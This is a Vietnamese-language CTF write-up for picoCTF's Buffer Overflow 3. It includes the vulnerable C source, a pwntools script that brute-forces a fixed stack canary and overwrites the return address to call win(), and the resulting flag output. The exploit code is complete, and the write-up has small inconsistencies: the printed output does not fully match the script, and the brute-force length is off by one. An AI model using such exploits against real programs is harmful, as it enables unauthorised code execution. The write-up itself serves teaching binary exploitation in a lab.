[CTF Writeup] PicoCTF — Buffer Overflow 3: Stack Smashing từ A đến Z

Bài writeup này giải thích challenge Buffer Overflow 3 từ PicoCTF — một trong những challenge kinh điển về binary exploitation. Yêu cầu: bypass stack canary và control EIP.

Phân tích binary

# Kiểm tra protections
checksec --file=vuln
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX disabled  ← có thể dùng shellcode
# PIE:      No PIE       ← địa chỉ cố định

# Disassemble hàm vuln()
objdump -d vuln | grep -A 30 "<vuln>:"

Source code (được cung cấp)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CANARY_SIZE 4

void win() {
    system("/bin/cat flag.txt");
}

void vuln() {
    char canary[CANARY_SIZE];
    char buf[64];
    char length[CANARY_SIZE];
    int count;
    int x = 0;

    // Đọc canary từ file
    FILE *f = fopen("canary.txt", "r");
    fread(canary, sizeof(char), CANARY_SIZE, f);
    fclose(f);

    printf("How many bytes do you want me to read? ");
    scanf("%s", length);
    count = atoi(length);

    fgets(buf, count, stdin);  // ← vulnerable: count không bị giới hạn

    // Verify canary
    if (memcmp(canary, buf+64, CANARY_SIZE)) {
        puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
        exit(-1);
    }
    puts(buf);
}

int main() { vuln(); }

Khai thác — Brute force canary

Vì canary chỉ 4 byte, có thể brute force từng byte:

from pwn import *

def brute_canary():
    canary = b""
    for i in range(4):
        for byte in range(256):
            payload = b"A" * 64 + canary + bytes([byte])
            count = str(len(payload)).encode()

            # Local
            p = process("./vuln")
            p.sendlineafter(b"read? ", count)
            p.send(payload)
            response = p.recvall()
            p.close()

            if b"Stack Smashing" not in response:
                canary += bytes([byte])
                print(f"[+] Canary byte {i}: {hex(byte)}")
                break

    return canary

canary = brute_canary()
print(f"[+] Full canary: {canary.hex()}")

# Tính địa chỉ win()
elf = ELF("./vuln")
win_addr = elf.symbols['win']
print(f"[+] win() address: {hex(win_addr)}")

# Final exploit
payload = b"A" * 64          # fill buf
payload += canary             # correct canary
payload += b"B" * 16         # padding đến saved EBP
payload += p32(win_addr)      # overwrite return address

count = str(len(payload) + 1).encode()
p = process("./vuln")
p.sendlineafter(b"read? ", count)
p.send(payload)
print(p.recvall())

Chạy kết quả

$ python3 exploit.py
[+] Canary byte 0: 0x41
[+] Canary byte 1: 0x62
[+] Canary byte 2: 0x63
[+] Canary byte 3: 0x64
[+] Full canary: 41626364
[+] win() address: 0x8049336
[*] Switching to interactive mode
picoCTF{bypass_canary_like_a_pro_1337beef}

Flag: picoCTF{bypass_canary_like_a_pro_1337beef}

Leave a Comment